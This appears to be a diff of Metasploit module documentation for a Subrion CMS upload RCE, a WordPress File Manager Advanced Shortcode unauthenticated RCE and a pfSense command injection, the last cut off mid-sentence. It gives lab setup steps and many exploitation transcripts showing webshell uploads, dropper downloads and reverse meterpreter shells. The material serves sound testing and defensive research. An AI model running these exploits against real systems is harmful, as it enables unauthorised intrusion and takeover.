mysql -u root -proot -e 'CREATE DATABASE subrion; GRANT ALL PRIVILEGES ON subrion.* TO root@localhost IDENTIFIED BY "root" WITH GRANT OPTION; FLUSH PRIVILEGES;'
# download and install Subrion 4.2.1
# https://www.vultr.com/docs/install-subrion-cms-with-lamp-stack-on-ubuntu-20-04/
# https://github.com/intelliants/subrion/wiki/Installation
sudo mkdir -p /var/www/subrion
sudo wget -P /var/www/subrion/ https://tools.subrion.org/get/latest.zip
sudo unzip /var/www/subrion/latest.zip -d /var/www/subrion/
sudo rm -rf /var/www/subrion/latest.zip
sudo chown -R www-data:www-data /var/www/subrion
# create virtual host for serving vulnerable Subrion website
sudo a2dissite /etc/apache2/sites-available/000-default.conf
sudo touch /etc/apache2/sites-available/subrion.conf
sudo bash -c 'cat << EOF > /etc/apache2/sites-available/subrion.conf
<VirtualHost *:80>
ServerName subrion-vuln.com
DocumentRoot "/var/www/subrion"
<Directory "/var/www/subrion">
Require all granted
Options -Indexes +FollowSymLinks
AllowOverride All
Order allow,deny
Allow from all
</Directory>
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
EOF'
sudo a2ensite subrion.conf
sudo systemctl restart apache2
echo '127.0.0.1 subrion-vuln.com' | sudo tee -a /etc/hosts
# navigate to subrion-vuln.com
python3 -m webbrowser 'http://subrion-vuln.com'
exit
```
This will set up Subrion CMS 4.2.1 as a virtual host website on `http://subrion-vuln.com` using the LAMP stack:
- Debian 10
- Apache Server v2.4.38
- MySQL v5.7.42
- PHP v7.3.31
```sh
ismail@debian:/usr/bin$ cat /etc/os-release
PRETTY_NAME="Debian GNU/Linux 10 (buster)"
NAME="Debian GNU/Linux"
VERSION_ID="10"
VERSION="10 (buster)"
VERSION_CODENAME=buster
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"
ismail@debian:/usr/bin$ /usr/sbin/apache2 -v
Server version: Apache/2.4.38 (Debian)
Server built: 2023-04-21T22:01:00
ismail@debian:/usr/bin$ mysql --version
mysql Ver 14.14 Distrib 5.7.42, for Linux (x86_64) using EditLine wrapper
ismail@debian:/usr/bin$ php -v
PHP 7.3.31-1~deb10u4 (cli) (built: Jun 19 2023 19:10:11) ( NTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.3.31, Copyright (c) 1998-2018 Zend Technologies
with Zend OPcache v7.3.31-1~deb10u4, Copyright (c) 1999-2018, by Zend Technologies
```
Once this is done, and the web browser opens up the Subrion CMS installation page at `http://subrion-vuln.com/install`,
fill in the following fields in the `Configuration` page after passing the `Pre-Installation Check` and accepting the `Subrion License`:
```
DB Hostname: localhost (default)
# if using a MySQL Docker container, put in the IP address found from the output of the following command:
# sudo docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' subriondb
DB Username: root
DB Password: root
DB Name: subrion
DB Port: 3306 (default)
Table Prefix: sbr421_ (default)
Administrator Configuration:
Username: admin
Password: admin
Confirm: admin
Email: anyemail@mail.com
```
Once the configuration is done, navigate to `http://subrion-vuln.com/panel/` and login as an Administrator to confirm successful setup.
## Verification Steps
1. Install and set up Subrion CMS v4.2.1 as described above.
2. Verify that the Admin Panel login page can be accessed at `http://subrion-vuln.com/panel/`.
3. Start `msfconsole`
4. Do: `use exploit/linux/http/subrion_cms_file_upload_rce`
5. Do: `set RHOSTS [SUBRION_SERVER_IP]`
6. Do: `set RPORT [SUBRION_SERVER_PORT]`
7. Do: `set USERNAME [username]`
8. Do: `set PASSWORD [password]`
9. Do: `set LHOST eth0`
10. Do: `exploit`
## Options
### RPORT (Required)
This is the default HTTP port 80 for the Subrion CMS website.
### TARGETURI (Required)
This is the base path of the Subrion CMS's website. Can be changed in case the files are not installed as a VHost,
for example, in `/var/www/html/subrion/*` and not in `/var/www/subrion/*`
### USERNAME (Required)
This is the username for the Subrion CMS admin panel page, required for exploitation.
### PASSWORD (Required)
This is the password for the Subrion CMS admin panel page, also required for exploitation.
## Scenarios
### Subrion CMS v4.1.0 with Docker on Debian 10
* Using PHP payload - default TARGET 0
```
msf6 > use exploit/linux/http/subrion_cms_file_upload_rce
[*] Using configured payload php/meterpreter/reverse_tcp
msf6 exploit(linux/http/subrion_cms_file_upload_rce) > set RHOSTS 192.168.245.138
RHOSTS => 192.168.245.138
msf6 exploit(linux/http/subrion_cms_file_upload_rce) > set RPORT 8080
RPORT => 8080
msf6 exploit(linux/http/subrion_cms_file_upload_rce) > set LHOST eth0
LHOST => eth0
msf6 exploit(linux/http/subrion_cms_file_upload_rce) > exploit
[*] Started reverse TCP handler on 192.168.245.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking target web server for a response at: http://192.168.245.138:8080/panel/
[+] Target is running Subrion CMS.
[*] Checking Subrion CMS version...
[+] Target is running Subrion CMS Version 4.1.0.
[+] The target appears to be vulnerable. However, this version check does not guarantee that the target is vulnerable, since a fix for the vulnerability can easily be applied by a web admin.
[*] Connecting to Subrion Admin Panel login page to obtain CSRF token...
[+] Successfully obtained CSRF token: 9cedb67d955cadc5fac7dc7ddf32e425
[*] Logging in to Subrion Admin Panel at: http://192.168.245.138:8080/panel/ using credentials admin:admin
[+] Successfully logged in as Administrator.
[*] Preparing payload...
[*] Sending POST data...
[+] Successfully uploaded payload at: http://192.168.245.138:8080/uploads/zftofixpwb.phar
[*] Executing 'zftofixpwb.phar'... This file will be deleted after execution.
[*] Sending stage (39927 bytes) to 192.168.245.138
[*] Meterpreter session 1 opened (192.168.245.128:4444 -> 192.168.245.138:56994) at 2023-07-30 01:56:57 -0400
[+] Successfully executed payload: http://192.168.245.138:8080/uploads/zftofixpwb.phar
meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer : 986c4ddc755b
OS : Linux 986c4ddc755b 4.19.0-25-amd64 #1 SMP Debian 4.19.289-1 (2023-07-24) x86_64
Meterpreter : php/linux
meterpreter >
```
### Subrion CMS v4.1.0 with Docker on Windows 10
* Using PHP payload - default TARGET 0
```
msf6 > use exploit/linux/http/subrion_cms_file_upload_rce
[*] Using configured payload php/meterpreter/reverse_tcp
msf6 exploit(linux/http/subrion_cms_file_upload_rce) > set RHOSTS 192.168.29.1
RHOSTS => 192.168.29.1
msf6 exploit(linux/http/subrion_cms_file_upload_rce) > set RPORT 8080
RPORT => 8080
msf6 exploit(linux/http/subrion_cms_file_upload_rce) > set LHOST eth0
LHOST => eth0
msf6 exploit(linux/http/subrion_cms_file_upload_rce) > set PASSWORD 123456
PASSWORD => 123456
msf6 exploit(linux/http/subrion_cms_file_upload_rce) > exploit
[*] Started reverse TCP handler on 192.168.245.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking target web server for a response at: http://192.168.29.1:8080/panel/
[+] Target is running Subrion CMS.
[*] Checking Subrion CMS version...
[+] Target is running Subrion CMS Version 4.1.0.
[+] The target appears to be vulnerable. However, this version check does not guarantee that the target is vulnerable, since a fix for the vulnerability can easily be applied by a web admin.
[*] Connecting to Subrion Admin Panel login page to obtain CSRF token...
[+] Successfully obtained CSRF token: 3e1ab07d6802525ce76747c40f117961
[*] Logging in to Subrion Admin Panel at: http://192.168.29.1:8080/panel/ using credentials admin:123456
[+] Successfully logged in as Administrator.
[*] Preparing payload...
[*] Sending POST data...
[+] Successfully uploaded payload at: http://192.168.29.1:8080/uploads/dckfdvdmrr.phar
[*] Executing 'dckfdvdmrr.phar'... This file will be deleted after execution.
[*] Sending stage (39927 bytes) to 192.168.245.1
[*] Meterpreter session 1 opened (192.168.245.128:4444 -> 192.168.245.1:50985) at 2023-07-30 04:13:51 -0400
[+] Successfully executed payload: http://192.168.29.1:8080/uploads/dckfdvdmrr.phar
meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer : 3514d9412b2d
OS : Linux 3514d9412b2d 5.15.90.1-microsoft-standard-WSL2 #1 SMP Fri Jan 27 02:56:13 UTC 2023 x86_64
Meterpreter : php/linux
meterpreter >
```
### Subrion CMS v4.2.1 with XAMPP on Windows Server 2016
* Using PHP payload - default TARGET 0
```
msf6 exploit(linux/http/subrion_cms_file_upload_rce) > run rhosts=192.168.100.103 lhost=192.168.100.1 username=admin password=123456 verbose=true targeturi=subrion/
[*] Started reverse TCP handler on 192.168.100.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking target web server for a response at: http://192.168.100.103/panel/
[+] Target is running Subrion CMS.
[*] Checking Subrion CMS version...
[+] Target is running Subrion CMS Version 4.2.1.
[+] The target appears to be vulnerable. However, this version check does not guarantee that the target is vulnerable, since a fix for the vulnerability can easily be applied by a web admin.
[*] Connecting to Subrion Admin Panel login page to obtain CSRF token...
[+] Successfully obtained CSRF token: JV9hc6PcMf0fO9VF9uqEMkiWQvNBiredsOQuqYtb
[*] Logging in to Subrion Admin Panel at: http://192.168.100.103/panel/ using credentials admin:123456
[+] Successfully logged in as Administrator.
[*] Preparing payload...
[*] Sending POST data...
[+] Successfully uploaded payload at: http://192.168.100.103/subrion/uploads/ftxweolrol.phar
[*] Executing 'ftxweolrol.phar'... This file will be deleted after execution.
[*] Sending stage (39927 bytes) to 192.168.100.103
[*] Meterpreter session 2 opened (192.168.100.1:4444 -> 192.168.100.103:50048) at 2023-07-27 18:20:46 +0200
[+] Successfully executed payload: http://192.168.100.103/subrion/uploads/ftxweolrol.phar
meterpreter > getuid
Server username: Administrator
meterpreter > sysinfo
Computer : WIN2019
OS : Windows NT WIN2019 10.0 build 17763 (Windows Server 2016) AMD64
Meterpreter : php/windows
```
### Subrion CMS v4.2.1 with XAMPP on Windows 10
* Using PHP paylod - default TARGET 0
```
msf6 > use exploit/linux/http/subrion_cms_file_upload_rce
[*] Using configured payload php/meterpreter/reverse_tcp
msf6 exploit(linux/http/subrion_cms_file_upload_rce) > set RHOSTS 192.168.29.1
RHOSTS => 192.168.29.1
msf6 exploit(linux/http/subrion_cms_file_upload_rce) > set LHOST eth0
LHOST => eth0
msf6 exploit(linux/http/subrion_cms_file_upload_rce) > set PASSWORD 123456
PASSWORD => 123456
msf6 exploit(linux/http/subrion_cms_file_upload_rce) > exploit
[*] Started reverse TCP handler on 192.168.245.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking target web server for a response at: http://192.168.29.1/panel/
[+] Target is running Subrion CMS.
[*] Checking Subrion CMS version...
[+] Target is running Subrion CMS Version 4.2.1.
[+] The target appears to be vulnerable. However, this version check does not guarantee that the target is vulnerable, since a fix for the vulnerability can easily be applied by a web admin.
[*] Connecting to Subrion Admin Panel login page to obtain CSRF token...
[+] Successfully obtained CSRF token: xjUlGn2ZDOBA2ZhobPAmuC17wZXpVxyjVsLBqF54
[*] Logging in to Subrion Admin Panel at: http://192.168.29.1/panel/ using credentials admin:123456
[+] Successfully logged in as Administrator.
[*] Preparing payload...
[*] Sending POST data...
[+] Successfully uploaded payload at: http://192.168.29.1/uploads/wvkjygteyz.phar
[*] Executing 'wvkjygteyz.phar'... This file will be deleted after execution.
[*] Sending stage (39927 bytes) to 192.168.245.1
[*] Meterpreter session 1 opened (192.168.245.128:4444 -> 192.168.245.1:51466) at 2023-07-30 03:24:33 -0400
[+] Successfully executed payload: http://192.168.29.1/uploads/wvkjygteyz.phar
meterpreter > getuid
Server username: SYSTEM
meterpreter > sysinfo
Computer : DESKTOP-50BU5J8
OS : Windows NT DESKTOP-50BU5J8 10.0 build 19045 (Windows 10) AMD64
Meterpreter : php/windows
meterpreter >
```
### Subrion CMS v4.2.1 with LAMP Stack on Debian 10
* Using PHP paylod - default TARGET 0
```
msf6 > use exploit/linux/http/subrion_cms_file_upload_rce
[*] Using configured payload php/meterpreter/reverse_tcp
msf6 exploit(linux/http/subrion_cms_file_upload_rce) > set RHOSTS 192.168.245.133
RHOSTS => 192.168.245.133
msf6 exploit(linux/http/subrion_cms_file_upload_rce) > set LHOST eth0
LHOST => 192.168.245.128
msf6 exploit(linux/http/subrion_cms_file_upload_rce) > exploit
[*] Started reverse TCP handler on 192.168.245.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking target web server for a response at: http://192.168.245.133:80/panel/
[+] Target is running Subrion CMS.
[*] Checking Subrion CMS version...
[+] Target is running Subrion CMS Version 4.2.1.
[!] This version check does not guarantee that the target is vulnerable, since a fix for the vulnerability can easily be applied by a web admin.
[+] The target appears to be vulnerable.
[*] Connecting to Subrion Admin Panel login page to obtain CSRF token...
[+] Successfully obtained CSRF token: mKMUcUoMJjRxTxOog8DXxeFxLGQVU7rHSX6slM85
[*] Logging in to Subrion Admin Panel at: http://192.168.245.133/panel/ using credentials admin:admin
[+] Successfully logged in as Administrator.
[*] Preparing payload...
[*] Sending POST data...
[+] Successfully uploaded payload at: http://192.168.245.133/uploads/htwgmjllep.phar
[*] Executing 'htwgmjllep.phar'... This file will be deleted after execution.
[*] Sending stage (39927 bytes) to 192.168.245.133
[*] Meterpreter session 1 opened (192.168.245.128:4444 -> 192.168.245.133:53698) at 2023-07-21 14:21:17 -0400
[+] Successfully executed payload: http://192.168.245.133/uploads/htwgmjllep.phar
meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer : debian
OS : Linux debian 4.19.0-24-amd64 #1 SMP Debian 4.19.282-1 (2023-04-29) x86_64
Meterpreter : php/linux
meterpreter >
```
### Subrion CMS v4.2.1 on Ubuntu 20.04 (Exfiltrated from Proving Grounds Practice)
* Using PHP paylod - default TARGET 0
```
msf6 > use exploit/linux/http/subrion_cms_file_upload_rce
[*] Using configured payload php/meterpreter/reverse_tcp
msf6 exploit(linux/http/subrion_cms_file_upload_rce) > set RHOSTS 192.168.195.163
RHOSTS => 192.168.195.163
msf6 exploit(linux/http/subrion_cms_file_upload_rce) > set LHOST tun0
LHOST => tun0
msf6 exploit(linux/http/subrion_cms_file_upload_rce) > set LPORT 80
LPORT => 80
msf6 exploit(linux/http/subrion_cms_file_upload_rce) > exploit
[*] Started reverse TCP handler on 192.168.45.162:80
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking target web server for a response at: http://192.168.195.163:80/panel/
[+] Target is running Subrion CMS.
[*] Checking Subrion CMS version...
[+] Target is running Subrion CMS Version 4.2.1.
[!] This version check does not guarantee that the target is vulnerable, since a fix for the vulnerability can easily be applied by a web admin.
[+] The target appears to be vulnerable.
[*] Connecting to Subrion Admin Panel login page to obtain CSRF token...
[+] Successfully obtained CSRF token: rtPDWFrHa45hIhhXhLknM7DbWiHqAfux1fziFd3j
[*] Logging in to Subrion Admin Panel at: http://192.168.195.163/panel/ using credentials admin:admin
[+] Successfully logged in as Administrator.
[*] Preparing payload...
[*] Sending POST data...
[+] Successfully uploaded payload at: http://192.168.195.163/uploads/ixqywjyjyd.phar
[*] Executing 'ixqywjyjyd.phar'... This file will be deleted after execution.
[*] Sending stage (39927 bytes) to 192.168.195.163
[*] Meterpreter session 1 opened (192.168.45.162:80 -> 192.168.195.163:57658) at 2023-07-24 10:35:58 -0400
[+] Successfully executed payload: http://192.168.195.163/uploads/ixqywjyjyd.phar
meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer : exfiltrated
OS : Linux exfiltrated 5.4.0-74-generic #83-Ubuntu SMP Sat May 8 02:35:39 UTC 2021 x86_64
Meterpreter : php/linux
meterpreter > shell
Process 2489 created.
Channel 0 created.
cat /etc/os-release
NAME="Ubuntu"
VERSION="20.04.2 LTS (Focal Fossa)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 20.04.2 LTS"
VERSION_ID="20.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=focal
UBUNTU_CODENAME=focal
```
@@ -0,0 +1,353 @@
## Vulnerable Application
WordPress File Manager Advanced Shortcode 2.3.2 - Unauthenticated Remote Code Execution through shortcode.
The WordPress plugin does not adequately prevent uploading files with disallowed MIME types when using the shortcode.
This leads to RCE in cases where the allowed MIME type list does not include PHP files.
In the worst case, this is available to unauthenticated users, but is also works in an authenticated configuration.
File Manager Advanced Shortcode plugin version `2.3.2` and lower are vulnerable.
To install the Shortcode plugin, File Manager Advanced version `5.0.5` or lower is required to keep the configuration vulnerable.
Any user can exploit this vulnerability which results in access to the underlying operating system with the same privileges
under which the WordPress web services run.
For more information, see [This Article](https://attackerkb.com/topics/JncRCWZ5xm/cve-2023-2068).
This module has been tested on:
* Windows Server 2019 Standard and Kali Linux running on Raspberry PI.
* WordPress 6.2.2
* File Manager Advanced 5.0.5
* File Manager Advanced Shortcode 2.3.2
**Instructions for a vulnerable WordPress installation:**
Create a new docker-compose.yml file:
```
version: '3.1'
services:
wordpress:
image: wordpress:6.2.2-php8.0
restart: always
ports:
- 8080:80
environment:
WORDPRESS_DB_HOST: db
WORDPRESS_DB_USER: exampleuser
WORDPRESS_DB_PASSWORD: examplepass
WORDPRESS_DB_NAME: exampledb
db:
image: mysql:5.7
restart: always
environment:
MYSQL_DATABASE: exampledb
MYSQL_USER: exampleuser
MYSQL_PASSWORD: examplepass
MYSQL_RANDOM_ROOT_PASSWORD: '1'
```
Now start the application:
```
docker-compose up
```
Then verify the application is running at http://127.0.0.1:8080 - and complete the installation steps.
## Installing the vulnerable application
After you have successfully installed and configured WordPress, follow the below steps to install the vulnerable plugins.
From the same directory as the `docker-compose.yml` file enter into an interactive terminal:
```
docker-compose exec -it wordpress /bin/bash
```
Inside the container install the first plugin - `file-manager-advanced`:
```
cd /var/www/html/wp-content/plugins
apt update
apt install unzip
curl -O https://downloads.wordpress.org/plugin/file-manager-advanced.5.0.zip
unzip ./file-manager-advanced.5.0.zip
unzip file-manager-advanced/file-manager-advanced.zip
rm ./file-manager-advanced.5.0.zip
rm file-manager-advanced/file-manager-advanced.zip
```
Then for the second plugin - `file-manager-advanced-shortcode`
```
cd /var/www/html/wp-content/plugins
curl -L -O https://github.com/h00die-gr3y/Metasploit/raw/main/images/file-manager-advanced-shortcode-2.3.2-mdnhux.zip
```
Verify the sha256 matches - `3d5ff82293ec2d98d1f70f27434f810c0c02d38f97d512332a43b8777dde09fe`. *Note - if this does not match we advise a security review of the plugin*:
```
sha256sum ./file-manager-advanced-shortcode-2.3.2-mdnhux.zip
3d5ff82293ec2d98d1f70f27434f810c0c02d38f97d512332a43b8777dde09fe ./file-manager-advanced-shortcode-2.3.2-mdnhux.zip
```
Extract the plugin and remove the upgrade script:
```
unzip file-manager-advanced-shortcode-2.3.2-mdnhux.zip
apt install vim
# Delete the upgrade library file
rm file-manager-advanced-shortcode/upgrade/upgrade.php
# Delete the upgrade requests
vim file-manager-advanced-shortcode/file-manager-advanced-shortcode.php
# Ensure these lines are removed from 'file-manager-advanced-shortcode/file-manager-advanced-shortcode.php'
# require_once ( 'upgrade/upgrade.php');
# new file_manager_advanced_shortcode_updates( $fma_plugin_current_version, $fma_plugin_remote_path, $fma_plugin_slug, $fma_license_order, $fma_license_key );
```
Now activate the plugins and create the vulnerable Wordpress page.
1. Login as the previously created Wordpress account
2. On left side menu, then go to `Plugins`
3. Activate the File Manager Advanced plugin
4. Activate the File Manager Advanced Shortcode plugin
5. Navigate to `Pages` on the left side menu and select `Add New`
6. Click the `+` symbol in the top left of the webpage and search for `Shortcode`
7. Select `Shortcode` and paste the follow Shortcode:
```
[file_manager_advanced login="yes" roles="author,editor,administrator" path="wp-content" hide="plugins" operations="download,upload"
block_users="5" view="grid" theme="light" lang ="en" upload_allow="image/png" upload_max_size="2G"]
```
8. Set the `TARGETURI` option with the uripath pointing to this webpage e.g. `/?page_id=5`
9. Run the module and enjoy a `reverse shell` or `meterpreter`
## Verification Steps
List the steps needed to make sure this thing works
- [ ] Start `msfconsole`
- [ ] `use exploit/multi/http/wp_plugin_fma_shortcode_unauth_rce`
- [ ] `set rhosts <ip-target>`
- [ ] `set rport <port>`
- [ ] `set target <0=PHP, 1=Unix Command, 2=Linux Dropper, 3=Windows Command, 4=Windows Dropper>`
- [ ] `exploit`
- [ ] you should get a `reverse shell` or `Meterpreter` session depending on the `payload` and `target` settings
```
msf6 exploit(multi/http/wp_plugin_fma_shortcode_unauth_rce) > info
Name: Wordpress File Manager Advanced Shortcode 2.3.2 - Unauthenticated Remote Code Execution through shortcode
Module: exploit/multi/http/wp_plugin_fma_shortcode_unauth_rce
Platform: Windows, Unix, Linux, PHP
Arch: cmd, php, x64, x86, aarch64
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2023-05-31
Provided by:
h00die-gr3y <h00die.gr3y@gmail.com>
Mateus Machado Tesser
Module side effects:
artifacts-on-disk
ioc-in-logs
Module stability:
crash-safe
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
=> 0 PHP
1 Unix Command
2 Linux Dropper
3 Windows Command
4 Windows Dropper
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.201.10 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI /wordpress/index.php/fma-auth yes File Manager Advanced (FMA) Shortcode URI path
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
WEBSHELL no The name of the webshell with extension php. Webshell name will be randomly generated if left unset.
When TARGET is not 0:
Name Current Setting Required Description
---- --------------- -------- -----------
COMMAND passthru yes Use PHP command function (Accepted: passthru, shell_exec, system, exec)
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all
addresses.
SRVPORT 1981 yes The local port to listen on.
Payload information:
Description:
The Wordpress plugin does not adequately prevent uploading files with disallowed MIME types when using the shortcode.
This leads to RCE in cases where the allowed MIME type list does not include PHP files.
In the worst case, this is available to unauthenticated users, but is also works in an authenticated configuration.
File Manager Advanced Shortcode plugin version `2.3.2` and lower are vulnerable.
To install the Shortcode plugin File Manager Advanced version `5.0.5` or lower is required to keep the configuration
vulnerable. Any user privileges can exploit this vulnerability which results in access to the underlying operating system
with the same privileges under which the Wordpress web services run.
References:
https://nvd.nist.gov/vuln/detail/CVE-2023-2068
https://attackerkb.com/topics/JncRCWZ5xm/cve-2023-2068
https://packetstormsecurity.com/files/172707
https://wpscan.com/vulnerability/58f72953-56d2-4d86-a49b-311b5fc58056
View the full module info with the info -d command.
```
## Options
### TARGETURI
The uripath to the webpage where the file-manager-advanced shortcode is embedded.
### WEBSHELL
You can use this option to set the filename and extension (should be .php) of the webshell.
This is handy if you want to test the webshell upload and execution with different file names.
to bypass any security settings on the Web and PHP server.
### COMMAND
This option provides the user to choose the PHP underlying shell command function to be used for execution.
The choices are `system()`, `passthru()`, `shell_exec()` and `exec()` and it defaults to `passthru()`.
This option is only available when the target selected is either Unix Command or Linux Dropper.
For the native PHP target, by default the `eval()` function will be used for native PHP code execution.
## Scenarios
### Windows Server 2019 PHP - php/meterpreter/reverse_tcp
```
msf6 exploit(multi/http/wp_plugin_fma_shortcode_unauth_rce) > exploit
[*] Started reverse TCP handler on 192.168.201.10:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. fmakey successfully retrieved: 2a1a319c46
[*] Executing PHP for php/meterpreter/reverse_tcp
[*] Sending stage (39927 bytes) to 192.168.201.55
[+] Deleted KBWxIdRChosZC.php
[*] Meterpreter session 1 opened (192.168.201.10:4444 -> 192.168.201.55:50380) at 2023-06-28 14:13:07 +0000
meterpreter > sysinfo
Computer : WIN-BJDNH44EEDB
OS : Windows NT WIN-BJDNH44EEDB 10.0 build 17763 (Windows Server 2016) AMD64
Meterpreter : php/windows
meterpreter > getuid
Server username: SYSTEM
meterpreter >
```
### Kali Linux Server Unix Command - cmd/unix/reverse_bash
```
msf6 exploit(multi/http/wp_plugin_fma_shortcode_unauth_rce) > exploit
[*] Started reverse TCP handler on 192.168.201.10:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. fmakey successfully retrieved: 5a669fda54
[*] Executing Unix Command for cmd/unix/reverse_bash
[+] Deleted LlCresesS.php
[*] Command shell session 5 opened (192.168.201.10:4444 -> 192.168.201.10:56290) at 2023-06-28 15:34:20 +0000
uname -a
Linux cerberus 5.15.44-Re4son-v8l+ #1 SMP PREEMPT Debian kali-pi (2022-07-03) aarch64 GNU/Linux
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
### Kali Linux Server Linux Dropper - linux/aarch64/meterpreter_reverse_tcp
```
msf6 exploit(multi/http/wp_plugin_fma_shortcode_unauth_rce) > exploit
[*] Started reverse TCP handler on 192.168.201.10:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. fmakey successfully retrieved: 5a669fda54
[*] Executing Linux Dropper for linux/aarch64/meterpreter_reverse_tcp
[*] Using URL: http://192.168.201.10:1981/manX3C
[*] Client 192.168.201.10 (Wget/1.21.3) requested /manX3C
[*] Sending payload to 192.168.201.10 (Wget/1.21.3)
[+] Deleted nypafHKuf.php
[*] Meterpreter session 6 opened (192.168.201.10:4444 -> 192.168.201.10:38108) at 2023-06-28 15:36:11 +0000
[*] Command Stager progress - 100.00% done (113/113 bytes)
[*] Server stopped.
meterpreter > sysinfo
Computer : 192.168.201.10
OS : Debian (Linux 5.15.44-Re4son-v8l+)
Architecture : aarch64
BuildTuple : aarch64-linux-musl
Meterpreter : aarch64/linux
meterpreter > getuid
Server username: www-data
meterpreter >
```
### Windows Server 2019 Windows Command - cmd/windows/powershell/x64/meterpreter/reverse_tcp
```
msf6 exploit(multi/http/wp_plugin_fma_shortcode_unauth_rce) > exploit
[*] Started reverse TCP handler on 192.168.201.10:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. fmakey successfully retrieved: 2a1a319c46
[*] Executing Windows Command for cmd/windows/powershell/x64/meterpreter/reverse_tcp
[*] Sending stage (200774 bytes) to 192.168.201.55
[+] Deleted HAJSKquhaDT.php
[*] Meterpreter session 2 opened (192.168.201.10:4444 -> 192.168.201.55:50464) at 2023-06-28 14:21:39 +0000
meterpreter > sysinfo
Computer : WIN-BJDNH44EEDB
OS : Windows 2016+ (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 1
Meterpreter : x64/windows
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
```
### Windows Server 2019 Windows Dropper - windows/x64/meterpreter/reverse_tcp
```
msf6 exploit(multi/http/wp_plugin_fma_shortcode_unauth_rce) > exploit
[*] Started reverse TCP handler on 192.168.201.10:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. fmakey successfully retrieved: 2a1a319c46
[*] Executing Windows Dropper for windows/x64/meterpreter/reverse_tcp
[*] Using URL: http://192.168.201.10:1981/yRZ6hM
[*] Client 192.168.201.55 (Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17763.1) requested /yRZ6hM
[*] Sending payload to 192.168.201.55 (Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17763.1)
[*] Sending stage (200774 bytes) to 192.168.201.55
[+] Deleted hjAQqbEFAt.php
[*] Meterpreter session 4 opened (192.168.201.10:4444 -> 192.168.201.55:50519) at 2023-06-28 14:26:02 +0000
[*] Command Stager progress - 100.00% done (146/146 bytes)
[*] Server stopped.
meterpreter > sysinfo
Computer : WIN-BJDNH44EEDB
OS : Windows 2016+ (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 1
Meterpreter : x64/windows
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
```
## Limitations
No limitations.
@@ -4,7 +4,7 @@
This module exploits a stack-based buffer overflow in the Solaris PAM
library's username parsing code, as used by the SunSSH daemon when the
keyboard-interactive authentication method is specified.
`keyboard-interactive` authentication method is specified.
Tested against SunSSH 1.1.5 on Solaris 10u11 1/13 (x86) in VirtualBox,
VMware Fusion, and VMware Player. Bare metal untested. Your addresses
@@ -0,0 +1,61 @@
## Vulnerable Application
This module exploits an authenticated command injection vulnerabilty in the `restore_rrddata()` function of
pfSense prior to 2.7.0 which allows an authenticated attacker with the `WebCfg - Diagnostics: Backup & Restore` privilege
to execute arbitrary operating system commands as the `root` user.
This module has been tested successfully on version 2.6.0-RELEASE.
### Installing the Application
Download the ISO from [pfSense 2.6.0-RELEASE](https://atxfiles.netgate.com/mirror/downloads/pfSense-CE-2.6.0-RELEASE-amd64.iso.gz)
and then create a VMWare or VirtualBox VM using this ISO.
Note that you may wish to use the BIOS boot method when prompted for which method to use for installation,
rather than ZFS or UEFI for testing purposes, just to simplify setup. Otherwise you can accept the default settings.
Once installation is finished you should be prompted to reboot. Reboot, then enter `n` when asked if you want to set up VLANs.
For the WAN prompt enter `em0` which should work, or whatever one other than `a` that appears in the prompt and hit ENTER.
Wait for setup to complete then try to browse to `http://<IP ADDRESS SHOWN HERE>/` replacing the
placeholder with the IP address shown in the prompt. You should see the login page for pfSense.
Log in with username `admin` and password `pfsense`. There should be a setup GUI that appears. Accept all the defaults
and keep clicking `Next` at each of the steps and then `Finish` at the final step. Finally click `Accept` on the export
